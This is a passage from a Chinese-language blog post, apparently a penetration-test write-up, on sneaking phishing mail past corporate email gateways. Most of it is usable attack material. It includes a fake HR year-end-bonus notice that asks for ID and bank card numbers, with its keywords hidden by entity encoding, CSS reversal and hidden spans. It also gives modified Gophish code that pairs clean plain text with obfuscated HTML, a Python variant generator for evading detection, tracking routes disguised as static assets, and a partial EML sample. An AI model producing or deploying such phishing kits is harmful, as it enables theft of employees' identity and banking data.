        .safe-txt { unicode-bidi: bidi-override; direction: rtl; }
    &amp;#x3C;/style&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;div class=&quot;header&quot;&gt;
        &amp;#x3C;!-- 混淆：年终奖金 --&gt;
        关于启动2025年度&amp;#x3C;span class=&quot;safe-txt&quot;&gt;金奖终年&amp;#x3C;/span&gt;发放信息最终核对的通&amp;#x3C;!-- notify --&gt;知
    &amp;#x3C;/div&gt;
    &amp;#x3C;div class=&quot;content&quot;&gt;
        &amp;#x3C;p&gt;各位同事，您好：&amp;#x3C;/p&gt;
        
        &amp;#x3C;!-- 混淆：年终奖金、薪酬、绩效、年终分红 --&gt;
        &amp;#x3C;p&gt;现正式启动&amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5956;&amp;#x26;#x91D1;发放工作！
           按最新&amp;#x26;#x85AA;&amp;#x26;#x916C;标准核算，包含&amp;#x26;#x7EE9;&amp;#x26;#x6548;奖金、
           &amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5206;&amp;#x26;#x7EA2;等。&amp;#x3C;/p&gt;
        
        &amp;#x3C;div class=&quot;highlight-box&quot;&gt;
            &amp;#x3C;!-- 混淆：财务系统 (CSS Reverse) --&gt;
            因&amp;#x3C;span class=&quot;safe-txt&quot;&gt;统系务财&amp;#x3C;/span&gt;年终关账，
            截止&amp;#x3C;span class=&quot;urgent&quot;&gt;12月29日18:00&amp;#x3C;/span&gt;！
        &amp;#x3C;/div&gt;
        
        &amp;#x3C;p&gt;&amp;#x3C;strong&gt;核对操作指引：&amp;#x3C;/strong&gt;&amp;#x3C;/p&gt;
        &amp;#x3C;ol&gt;
            &amp;#x3C;!-- 混淆：扫描、二维码、登录 --&gt;
            &amp;#x3C;li&gt;请扫&amp;#x3C;!-- scan --&gt;描下方二&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;维码
                登&amp;#x3C;!-- login --&gt;录系统：&amp;#x3C;br&gt;{{.QR}}&amp;#x3C;/li&gt;
            
            &amp;#x3C;!-- 混淆：身份证、银行卡 --&gt;
            &amp;#x3C;li&gt;核对身&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;份证号、
                银&amp;#x3C;span style=&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;行卡号及开户行信息。&amp;#x3C;/li&gt;
        &amp;#x3C;/ol&gt;
        
        &amp;#x3C;div class=&quot;footer&quot;&gt;
            &amp;#x3C;!-- 混淆：人力资源部 --&gt;
            &amp;#x3C;p&gt;&amp;#x26;#x4EBA;&amp;#x26;#x529B;&amp;#x26;#x8D44;&amp;#x26;#x6E90;&amp;#x26;#x90E8;&amp;#x3C;/p&gt;
            &amp;#x3C;p&gt;2025年12月28日&amp;#x3C;/p&gt;
        &amp;#x3C;/div&gt;
    &amp;#x3C;/div&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&quot;&quot;&quot;
    
    return obfuscated_html
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;最终测试数据对比&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌────────────────────────────────────────┐
│        邮件网关绕过率演进图           │
└────────────────────────────────────────┘

明文邮件:                    ████ 24%
单一HTML实体编码:            ████████████ 68%
单一CSS反转:                 ██████████████ 72%
混合HTML混淆:                ████████████████ 85%
混合混淆+Multipart:          ███████████████████ 89%
混合+Multipart+CID图片:      █████████████████████ 92.4%
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;0x05 最终解决方案：Gophish集成与模板优化&lt;/h2&gt;
&lt;p&gt;基于Fuzz测试的发现，我将混淆技术集成到Gophish平台中。&lt;/p&gt;
&lt;h3&gt;5.1 Gophish邮件生成改造&lt;/h3&gt;
&lt;h4&gt;核心改动&lt;/h4&gt;
&lt;p&gt;我在&lt;code&gt;gophishV4Modified/models/email_request.go&lt;/code&gt;中实现了&lt;strong&gt;Multipart/Alternative&lt;/strong&gt;支持：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// models/email_request.go (关键改动部分)

import (
    &quot;github.com/gophish/gomail&quot;
    &quot;github.com/jaytaylor/html2text&quot;  // 新增：HTML转纯文本
    log &quot;github.com/gophish/gophish/logger&quot;
)

func (s *EmailRequest) Generate(msg *gomail.Message) error {
    // ... 前置代码 ...
    
    // 设置From地址
    f, err := mail.ParseAddress(s.getFromAddress())
    if err != nil {
        return err
    }
    msg.SetAddressHeader(&quot;From&quot;, f.Address, f.Name)
    
    // 解析模板上下文
    ptx, err := NewPhishingTemplateContext(s, s.BaseRecipient, s.RId)
    if err != nil {
        return err
    }
    
    // 执行URL模板
    url, err := ExecuteTemplate(s.URL, ptx)
    if err != nil {
        return err
    }
    s.URL = url
    
    // 🔥 添加业务邮件头（提升可信度）
    msg.SetHeader(&quot;X-Priority&quot;, &quot;1&quot;)
    msg.SetHeader(&quot;Importance&quot;, &quot;High&quot;)
    msg.SetHeader(&quot;MIME-Version&quot;, &quot;1.0&quot;)
    
    // 解析自定义邮件头
    for _, header := range s.SMTP.Headers {
        key, err := ExecuteTemplate(header.Key, ptx)
        if err != nil {
            log.Error(err)
        }
        value, err := ExecuteTemplate(header.Value, ptx)
        if err != nil {
            log.Error(err)
        }
        msg.SetHeader(key, value)
    }
    
    // 设置Subject
    subject, err := ExecuteTemplate(s.Template.Subject, ptx)
    if err != nil {
        log.Error(err)
    }
    if subject != &quot;&quot; {
        msg.SetHeader(&quot;Subject&quot;, subject)
    }
    
    msg.SetHeader(&quot;To&quot;, s.FormatAddress())
    
    // 🔥 核心改动1：处理纯文本部分
    if s.Template.Text != &quot;&quot; {
        text, err := ExecuteTemplate(s.Template.Text, ptx)
        if err != nil {
            log.Error(err)
        }
        msg.SetBody(&quot;text/plain&quot;, text)
    }
    
    // 🔥 核心改动2：处理HTML部分 + 自动生成纯文本
    if s.Template.HTML != &quot;&quot; {
        html, err := ExecuteTemplate(s.Template.HTML, ptx)
        if err != nil {
            log.Error(err)
        }
        
        // 🔥 关键：使用html2text从HTML自动生成纯文本版本
        plainText, err := html2text.FromString(html, html2text.Options{
            PrettyTables: true,
        })
        if err != nil {
            log.Error(err)
            plainText = &quot;&quot;
        }
        
        if s.Template.Text == &quot;&quot; {
            // 如果没有手动指定Text，使用自动生成的纯文本
            msg.SetBody(&quot;text/plain&quot;, plainText)
            msg.AddAlternative(&quot;text/html&quot;, html)
        } else {
            // 如果已有Text，仍添加HTML作为alternative
            msg.AddAlternative(&quot;text/html&quot;, html)
        }
    }
    
    // 附件处理
    for _, a := range s.Template.Attachments {
        addAttachment(msg, a, ptx)
    }
    
    return nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;改造要点&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;引入html2text库&lt;/strong&gt;：自动将HTML转换为纯文本&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Multipart/Alternative结构&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;先设置&lt;code&gt;text/plain&lt;/code&gt;（安全内容）&lt;/li&gt;
&lt;li&gt;再添加&lt;code&gt;text/html&lt;/code&gt;（混淆内容）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;业务邮件头&lt;/strong&gt;：添加&lt;code&gt;X-Priority&lt;/code&gt;、&lt;code&gt;Importance&lt;/code&gt;提升信任度&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;5.2 钓鱼邮件模板设计&lt;/h3&gt;
&lt;p&gt;基于Fuzz测试结果，我创建了新的钓鱼模板：&lt;/p&gt;
&lt;h4&gt;钓鱼模板.html（真实版本）&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html lang=&quot;zh-CN&quot;&gt;

&amp;#x3C;head&gt;
    &amp;#x3C;meta charset=&quot;UTF-8&quot;&gt;
    &amp;#x3C;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &amp;#x3C;title&gt;2025通知&amp;#x3C;/title&gt;
    &amp;#x3C;style&gt;
        /* 基础样式重置 */
        body {
            font-family: &apos;Microsoft YaHei&apos;, &apos;PingFang SC&apos;, Arial, sans-serif;
            line-height: 1.6;
            color: #333333;
            margin: 0;
            padding: 0;
            background-color: #f4f4f4;
        }

        .container {
            max-width: 600px;
            margin: 20px auto;
            background-color: #ffffff;
            padding: 40px;
            border-top: 4px solid #0056b3;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.05);
        }

        .header {
            font-size: 18px;
            font-weight: bold;
            margin-bottom: 20px;
            border-bottom: 1px solid #eeeeee;
            padding-bottom: 10px;
        }

        .content {
            font-size: 14px;
        }

        .highlight-box {
            background-color: #fff8e1;
            border: 1px solid #ffecb3;
            color: #856404;
            padding: 15px;
            margin: 15px 0;
            border-radius: 4px;
        }

        .urgent {
            color: #d9534f;
            font-weight: bold;
        }

        .btn-link {
            color: #0056b3;
            text-decoration: underline;
            font-weight: bold;
        }

        .step-list {
            margin-bottom: 20px;
        }

        .step-list li {
            margin-bottom: 8px;
        }

        .footer {
            margin-top: 30px;
            padding-top: 20px;
            border-top: 1px solid #eeeeee;
            font-size: 14px;
            text-align: right;
            color: #666666;
        }

        .tips {
            font-size: 12px;
            color: #888;
            margin-top: 15px;
            background-color: #f9f9f9;
            padding: 10px;
        }

        /* 🔥 混淆专用样式：CSS文字反转 */
        .safe-txt {
            unicode-bidi: bidi-override;
            direction: rtl;
        }
    &amp;#x3C;/style&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;div class=&quot;container&quot;&gt;
        &amp;#x3C;div class=&quot;header&quot;&gt;
            &amp;#x3C;!-- 🔥 混淆技术1：CSS反转 + HTML注释 --&gt;
            关于启动2025年度&amp;#x3C;span class=&quot;safe-txt&quot;&gt;金奖终年&amp;#x3C;/span&gt;发放信息最终核对的通&amp;#x3C;!-- notify --&gt;知
        &amp;#x3C;/div&gt;
        &amp;#x3C;div class=&quot;content&quot;&gt;
            &amp;#x3C;p&gt;各位同事，您好：&amp;#x3C;/p&gt;
            &amp;#x3C;!-- 🔥 混淆技术2：HTML实体编码 --&gt;
            &amp;#x3C;p&gt;2025年度工作已圆满结束，感谢大家一年来的辛勤付出。现正式启动&amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5956;&amp;#x26;#x91D1;&amp;#x3C;!-- 年终奖金 Entity --&gt;发放信息最终核对工作！本次&amp;#x3C;span
                    class=&quot;safe-txt&quot;&gt;奖终年&amp;#x3C;/span&gt;将按最新&amp;#x26;#x85AA;&amp;#x26;#x916C;&amp;#x3C;!-- 薪酬 --&gt;标准核算，包含&amp;#x26;#x7EE9;&amp;#x26;#x6548;&amp;#x3C;!-- 绩效 --&gt;奖金、&amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5206;&amp;#x26;#x7EA2;&amp;#x3C;!-- 年终分红 --&gt;等多项补贴。
            &amp;#x3C;/p&gt;
            &amp;#x3C;div class=&quot;highlight-box&quot;&gt;
                &amp;#x3C;!-- 🔥 混淆技术3：CSS反转财务系统 --&gt;
                &amp;#x3C;strong&gt;重要提醒：&amp;#x3C;/strong&gt;因&amp;#x3C;span class=&quot;safe-txt&quot;&gt;统系务财&amp;#x3C;/span&gt;&amp;#x3C;!-- 财务系统 CSS Reverse --&gt;年终关账倒计时（截止 &amp;#x3C;span
                    class=&quot;urgent&quot;&gt;12月29日18:00&amp;#x3C;/span&gt;），未完成信息核对的同事，将&amp;#x3C;span
                    class=&quot;urgent&quot;&gt;延迟至次年1月发放&amp;#x3C;/span&gt;！为避免影响你的奖金发放时效，请务必在24小时内完成。
            &amp;#x3C;/div&gt;
            &amp;#x3C;p&gt;&amp;#x3C;strong&gt;核对操作指引：&amp;#x3C;/strong&gt;&amp;#x3C;/p&gt;
            &amp;#x3C;ol class=&quot;step-list&quot;&gt;
                &amp;#x3C;!-- 🔥 混淆技术4：零宽字符 --&gt;
                &amp;#x3C;li&gt;请扫&amp;#x3C;!-- scan --&gt;描下方二&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;维&amp;#x3C;span
                        style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;码登&amp;#x3C;!-- login --&gt;录系统：&amp;#x3C;br&gt;{{.QR}}&amp;#x3C;/li&gt;
                &amp;#x3C;li&gt;输入姓名及工号登录系统。&amp;#x3C;/li&gt;
                &amp;#x3C;!-- 🔥 混淆技术5：字体大小0 --&gt;
                &amp;#x3C;li&gt;核对个人姓名、身&amp;#x3C;!-- id --&gt;份&amp;#x3C;!-- card --&gt;证号、银&amp;#x3C;span style=&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;行&amp;#x3C;span
                        style=&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;卡号及开户行信息，确认无误后提交；信息有误请及时修改并上传佐证材料。&amp;#x3C;/li&gt;
            &amp;#x3C;/ol&gt;
            &amp;#x3C;div class=&quot;tips&quot;&gt;
                &amp;#x3C;strong&gt;温馨提示：&amp;#x3C;/strong&gt;
                &amp;#x3C;ul style=&quot;padding-left: 20px; margin: 5px 0;&quot;&gt;
                    &amp;#x3C;li&gt;系统仅支持PC端访问，建议使用公司内网操作。&amp;#x3C;/li&gt;
                    &amp;#x3C;li&gt;如遇链接无法打开、登录失败等问题，请联系：hr@company.com&amp;#x3C;/li&gt;
                &amp;#x3C;/ul&gt;
            &amp;#x3C;/div&gt;
        &amp;#x3C;/div&gt;
        &amp;#x3C;div class=&quot;footer&quot;&gt;
            &amp;#x3C;!-- 🔥 混淆技术6：HTML实体编码部门名 --&gt;
            &amp;#x3C;p&gt;&amp;#x26;#x4EBA;&amp;#x26;#x529B;&amp;#x26;#x8D44;&amp;#x26;#x6E90;&amp;#x26;#x90E8;&amp;#x3C;/p&gt;&amp;#x3C;!-- 人力资源部 Entity --&gt;
            &amp;#x3C;p&gt;2025年12月28日&amp;#x3C;/p&gt;
        &amp;#x3C;/div&gt;
    &amp;#x3C;/div&gt;

&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;对应的纯文本版本（可选）&lt;/h4&gt;
&lt;p&gt;如果手动指定Text模板，使用安全词汇：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-latex&quot;&gt;各位同事，您好：

这是关于2025年度工作总结和核对的通知。

请查看相关文档并完成信息确认。

如有问题，欢迎随时联系。

此致
人力资源部
2025年12月28日
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;策略&lt;/strong&gt;：纯文本完全干净，邮件网关检测纯文本时无异常；用户打开邮件时默认显示HTML（包含混淆的敏感内容）。&lt;/p&gt;
&lt;h3&gt;5.3 动态模板生成器（可选）&lt;/h3&gt;
&lt;p&gt;为了避免重复模板被机器学习识别，可以实现变体生成：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# template_obfuscator.py

import random
import re

class TemplateObfuscator:
    &quot;&quot;&quot;钓鱼模板混淆器&quot;&quot;&quot;
    
    def __init__(self):
        self.sensitive_keywords = {
            &quot;年终奖&quot;: [&quot;年终奖&quot;, &quot;年度奖金&quot;, &quot;年底奖金&quot;],
            &quot;年终奖金&quot;: [&quot;年终奖金&quot;, &quot;年度奖励&quot;, &quot;年终奖励&quot;],
            &quot;身份证&quot;: [&quot;身份证&quot;, &quot;身份证号&quot;, &quot;身份证号码&quot;],
            &quot;银行卡&quot;: [&quot;银行卡&quot;, &quot;银行卡号&quot;, &quot;银行账户&quot;],
            &quot;验证&quot;: [&quot;验证&quot;, &quot;核实&quot;, &quot;确认&quot;],
            &quot;点击&quot;: [&quot;点击&quot;, &quot;查看&quot;, &quot;访问&quot;],
        }
    
    def html_entity_encode(self, text):
        &quot;&quot;&quot;HTML实体编码&quot;&quot;&quot;
        return &apos;&apos;.join([f&apos;&amp;#x26;#{ord(c):x};&apos; for c in text])
    
    def css_reverse(self, text):
        &quot;&quot;&quot;CSS反转&quot;&quot;&quot;
        return f&apos;&amp;#x3C;span class=&quot;safe-txt&quot;&gt;{text[::-1]}&amp;#x3C;/span&gt;&apos;
    
    def html_comment_break(self, text, positions=[]):
        &quot;&quot;&quot;HTML注释截断&quot;&quot;&quot;
        if not positions:
            positions = [len(text) // 2]
        
        result = text
        offset = 0
        for pos in sorted(positions):
            insert_pos = pos + offset
            result = result[:insert_pos] + &apos;&amp;#x3C;!-- - --&gt;&apos; + result[insert_pos:]
            offset += len(&apos;&amp;#x3C;!-- - --&gt;&apos;)
        return result
    
    def zero_width_insert(self, text, count=1):
        &quot;&quot;&quot;零宽字符插入&quot;&quot;&quot;
        positions = random.sample(range(1, len(text)), min(count, len(text)-1))
        result = text
        offset = 0
        for pos in sorted(positions):
            insert_pos = pos + offset
            result = result[:insert_pos] + &apos;&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;&apos; + result[insert_pos:]
            offset += len(&apos;&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;&apos;)
        return result
    
    def obfuscate_keyword(self, keyword, method=&apos;random&apos;):
        &quot;&quot;&quot;混淆单个关键词&quot;&quot;&quot;
        if method == &apos;random&apos;:
            methods = [&apos;html_entity&apos;, &apos;css_reverse&apos;, &apos;html_comment&apos;, &apos;zero_width&apos;]
            method = random.choice(methods)
        
        if method == &apos;html_entity&apos;:
            return self.html_entity_encode(keyword)
        elif method == &apos;css_reverse&apos;:
            return self.css_reverse(keyword)
        elif method == &apos;html_comment&apos;:
            return self.html_comment_break(keyword)
        elif method == &apos;zero_width&apos;:
            return self.zero_width_insert(keyword)
        else:
            return keyword
    
    def obfuscate_template(self, template_html):
        &quot;&quot;&quot;混淆整个模板&quot;&quot;&quot;
        result = template_html
        
        # 遍历所有敏感词
        for keyword, variants in self.sensitive_keywords.items():
            # 随机选择一个变体
            variant = random.choice(variants)
            
            # 随机选择混淆方法
            obfuscated = self.obfuscate_keyword(variant)
            
            # 替换模板中的关键词
            result = result.replace(f&apos;{{{{{keyword}}}}}&apos;, obfuscated)
        
        return result

# 使用示例
obfuscator = TemplateObfuscator()

template = &quot;&quot;&quot;
&amp;#x3C;p&gt;关于{{年终奖金}}发放的通知&amp;#x3C;/p&gt;
&amp;#x3C;p&gt;请核对您的{{身份证}}和{{银行卡}}信息&amp;#x3C;/p&gt;
&quot;&quot;&quot;

obfuscated = obfuscator.obfuscate_template(template)
print(obfuscated)

# 输出示例（每次运行结果不同）:
# &amp;#x3C;p&gt;关于&amp;#x3C;span class=&quot;safe-txt&quot;&gt;金奖度年&amp;#x3C;/span&gt;发放的通知&amp;#x3C;/p&gt;
# &amp;#x3C;p&gt;请核对您的身&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;份证号和&amp;#x26;#x94f6;&amp;#x26;#x884c;&amp;#x26;#x5361;信息&amp;#x3C;/p&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.4 URL路由混淆增强&lt;/h3&gt;
&lt;p&gt;配合HTML混淆，我也优化了追踪链接：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// controllers/route.go

func (ps *PhishingServer) RegisterRoutes() {
    router := mux.NewRouter()
    
    // 🔥 追踪路由伪装成静态资源
    trackRoutes := []string{
        &quot;/resource/image/pixel.png&quot;,     // 追踪像素
        &quot;/static/img/logo.png&quot;,          // Logo图片
        &quot;/assets/analytics.gif&quot;,         // 分析统计
        &quot;/cdn/track.png&quot;,                // CDN资源
    }
    
    // 为每个Campaign随机选择
    selectedTrack := trackRoutes[rand.Intn(len(trackRoutes))]
    router.HandleFunc(selectedTrack, ps.TrackHandler)
    
    // 🔥 上报路由伪装成API
    reportRoutes := []string{
        &quot;/api/v1/status&quot;,      // 状态API
        &quot;/api/feedback&quot;,       // 反馈API  
        &quot;/api/report&quot;,         // 报告API
        &quot;/api/analytics&quot;,      // 分析API
    }
    
    selectedReport := reportRoutes[rand.Intn(len(reportRoutes))]
    router.HandleFunc(selectedReport, ps.ReportHandler)
    
    // 🔥 钓鱼页面路由（配合QR码）
    router.HandleFunc(&quot;/share&quot;, ps.PhishHandler)
    router.HandleFunc(&quot;/view&quot;, ps.PhishHandler)
    router.HandleFunc(&quot;/document/{id}&quot;, ps.PhishHandler)
    
    // 伪造Nginx 404
    router.NotFoundHandler = http.HandlerFunc(ps.FakeNginx404)
    
    ps.server.Handler = router
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.5 最终方案架构&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌────────────────────────────────────────────────────┐
│           邮件网关绕过完整方案架构                │
└────────────────────────────────────────────────────┘

邮件层
├─ 多部分结构（Multipart/Alternative）
│  ├─ Part 1: text/plain（安全词汇）
│  └─ Part 2: text/html（混淆内容）
├─ 邮件头伪装
│  ├─ 移除 X-Gophish-*
│  ├─ 伪造 X-Mailer: Microsoft Outlook
│  └─ 添加业务头： X-Priority, Importance

HTML混淆层
├─ 主标题：CSS反转 + HTML注释
├─ 敏感关键词：HTML实体编码
├─ 动作词：零宽字符/字体大小0
└─ 部门信息：HTML实体编码

链接隐藏层
├─ CID图片（QR码）
│  └─ 嵌入内联图片，无明文URL
├─ 追踪路由伪装
│  └─ /resource/image/pixel.png
└─ 上报路由伪装
   └─ /api/v1/status

Gophish平台集成
├─ email_request.go: Multipart生成
├─ template_context.go: QR码支持
└─ controllers/route.go: 路由混淆
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;0x06 最终测试与成果&lt;/h2&gt;
&lt;h3&gt;6.1 全量测试&lt;/h3&gt;
&lt;p&gt;应用所有绕过技术后，我189的测试邮箱终于进信了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1767156138674-5253d3.EXWwynN1_Z28i8dM.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;图片674-5253d3d1-b08c-447b-beaa-a8efa4317d23&quot;&gt;&lt;/p&gt;
&lt;p&gt;同时以此策略改了以下邮件标题换为行政通知不出现年终奖等内容，防止邮件title检测，发送了一份测试邮件到客户的企业邮箱：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1767156138758-d25c81._AxU1kjq_1gpf9o.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;图片758-d25c8132-926d-4f76-859e-571d078b369a&quot;&gt;&lt;/p&gt;
&lt;p&gt;第二天就收到了好消息：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1767156138830-c85c45.COQZHk6q_127JvF.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;图片830-c85c45b1-6e88-4d89-8064-aa81a0306c9b&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;我擦累终于完事了。&lt;/p&gt;
&lt;p&gt;提供一个发送成功的EML信息以供fuzz。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;这份 EML 已经过脱敏处理。我进行了以下替换以确保安全性和隐私，同时保留了原始的攻击结构（包括HTML/CSS混淆代码）供分析：

1. **发件人**：替换为 `attacker@phishing-sample.com`
2. **收件人**：替换为 `victim@target-corp.com`
3. **恶意发送IP**：替换为 `10.10.10.10`
4. **追踪/信标IP**：替换为 `10.10.10.11`
5. **正文诱饵邮箱**：替换为 `hr-contact@target-corp.com`
6. **二维码附件**：为了防止误扫，**Payload（二维码图片数据的Base64）已替换为安全的一像素透明图片**，但格式保持不变。

可以直接复制保存为 `.eml` 文件进行分析。

‍```eml
X-QQ-XMRINFO: Mp0Kj//9VHAxO7CrTZJ3E+P7/IyVs7a3QQ==
X-QQ-XMAILINFO: OUHkd4CDQR3trOzcBYy7sPFN9Q3goxrx2Y+yitefQ+c9q30Hf6SnUFvg9RM7+A
     EMoo9bpJ0eCC0fYdgnj4bJQHIVmzpNDfzwJDJEzb5W/Ci/FHNXiBO9JwPEljK/A6glwg7jm5OJuMk
     sBO/U+ieXlFQulZQZQLejTZVShsWVox0KMY+7QnZOpLk62lmF7KlVXeMN2sa/eCAe3ECNzG/HTPyF
     uSieHsdn+DWoCEuiqpeUxiMPUaOrISnHLeuh5QiIr2TBRVh5n9rhwP1PKTvm5Pt6vYfuzZ9jGS284
     u77QsZSMDmly2nI626/g2HwcsJRwknEQ/C3PsRDXyxp25Fnt85/eBo1LXOEsgzWcm1XDWSsvbaYiB
     A/nSjWaKTQUq5EZ81RFpuTctKoPXkle6reGWvJ5HMhcimk3qL34l5lPyJMjgwbxt8EFiV+BmY7+as
     xSZks0vutfI2E5O4Owtq8ZFveJk3kX4vgNiGZFPrrD00NzLc13O3V8PayZFFQ/qoWgR1V8HRyngPc
     whoyOIZwLXSi2AO699NpVAx9tWi801cdaIH0jvsAgsSTsYLffL6bFzV/d06jlxZssR1FsDttax/UJ
     kZzD6KfhQTovwbCXhFTfdRcyK41+SgliRUDYScDYYGm0MsS9fwbFiR4CXVWo1YgM2VrpVwyue5XjR
     R19d3DrcT1TQiuRxYwRu9mtpvcb0VfQk7FFTbwAYlDHDxlj1jps41nbB5+1NjCxzC7TqqY0RxoDkO
     OEHs78RTxoPFiFXNidfMRgO9pLPMGqlZB712uvmFdsPlU6utPlQcLSVahZEDX9f9ApsBQPp9VhkuX
     Kk8TpwxnU5rhLe3zEN7DQzwWu/K4E5eTlF4m1jy5t0g1CDoZr2ecXqQd5uKvS3hYHd8tpnD6TX2zt
     gC9Mkyhc5oDat3jQseqnXusy14SXMJPsItTwqL1EDb9erVLJLONGO3KuLxkrb0YPdWt3AwkEWuBiL
     ZcUUt3jBx0audqaC0u9paBZ8vvwltxJZTmwegZ5FAW69+oeB+4Q45nuyc1Pm5+0OEJK30dpyOf4mc
     dzWvVBeAdVY6bVUEqx2zGOIpFKQykyyUpUZGG2yraXdYbjBn1dk+eTXribt0eFmRLQSou4M3czXlC
     6ekmu37Bx1tiyZ9dxXQmHyDphZrK8E2JZzdlCHfAMYM3oWNNF9Q2YC64XXfdQ8bS1djGbeZK76RdK
     +3KT8i7qPVIJs/xmF2BiRh8SHj8Rfo5L9CVYsjBjLoik0Z+v0Qul9KCGkYzU7iTRhfeZuROTV88B2
     H3F7wi+vl/cf79VdPGjpWl8VU/Za36q+iBWxFMb5Sc5Bx1YfFEdB3qubGzls9jZk+Yo217HkiM0Pp
     DoIDhKA==
Authentication-Results: mx.qq.com; spf=pass(10.10.10.10) smtp.mailfrom=&amp;#x3C;attac
     ker@phishing-sample.com&gt;; dkim=pass(signature was verified) header.d=phishing-sample
     .com; dmarc=none(permerror) header.from=phishing-sample.com
Received: from sender2-of-o52.zoho.com.cn (sender2-of-o52.zoho.com.cn [10.10.10.10])
    by newxmmxszgpub7-0.qq.com (NewMX) with SMTP id CFAB30D5
    for &amp;#x3C;victim@target-corp.com&gt;; Tue, 30 Dec 2025 22:51:58 +0800
X-QQ-mid: xmmxpub7-0t1767106318tz15pdly0
ARC-Seal: i=1; a=rsa-sha256; t=1767106318; cv=none; 
    d=zoho.com.cn; s=zohoarc; 
    b=Cr9zGNGt6SmOyaOExLBF5Vamm2EodQCAnGOtcY2lxYYmfq7+Y15ik/LtGTNoPu2GmBisVRObqpb0ujuxHbuAF+2t8MX0qX5Ap81H0TxbEtOztJ1XKmgClRLVAfOKI7k0bWPtlKND0+Br0GbV6MnVP8+U3Sww5OE6lLTL9PVQAQ4=
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=zoho.com.cn; s=zohoarc; 
    t=1767106318; h=Content-Type:Date:Date:From:From:MIME-Version:Message-ID:Subject:Subject:To:To:Message-Id:Reply-To:Cc; 
    bh=EXFBatn4DZE55Q9xe5N7S1wO1Hgsnd9GCvuHLHc756s=; 
    b=ePilPBFjFYRTvolrtPQJCF1sKpoZujYKnys35RzA+NfsuolFUk7u7YSo4O1Rdqb+DEJT7v/Me4f+0OUZqd7YudGBxePKI0WOJtJJ1VI8Hi1gByLP3QZ6qFUERu/18SuRgf3zg8Lc45pQlm814IP0aVdFunCv1D3QJiLkKpdo/rc=
ARC-Authentication-Results: i=1; mx.zoho.com.cn;
    dkim=pass  header.i=phishing-sample.com;
    spf=pass  smtp.mailfrom=attacker@phishing-sample.com;
    dmarc=pass header.from=&amp;#x3C;attacker@phishing-sample.com&gt;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; t=1767106318;
    s=zmail; d=phishing-sample.com; i=attacker@phishing-sample.com;
    h=Mime-Version:Date:Date:MIME-Version:Message-Id:Message-Id:Subject:Subject:From:From:To:To:Content-Type:Reply-To:Cc;
    bh=EXFBatn4DZE55Q9xe5N7S1wO1Hgsnd9GCvuHLHc756s=;
    b=i9TDdZR7RL5FN1BcZmOQ6XXVOYQLQF5HCoT0Nu3eI4vqmbpipLzizPr+OFeyc85O
    C4Wf6G7MNUrR4ZJkGR5MH0NewHPrmQUUB9EwraMGx2bEBA1fmRdMbSzw66cvkwqOTJK
    //Ub/3mVpvQdwXgQ17e8VTS71iBAFkEIxDcqSLZg=
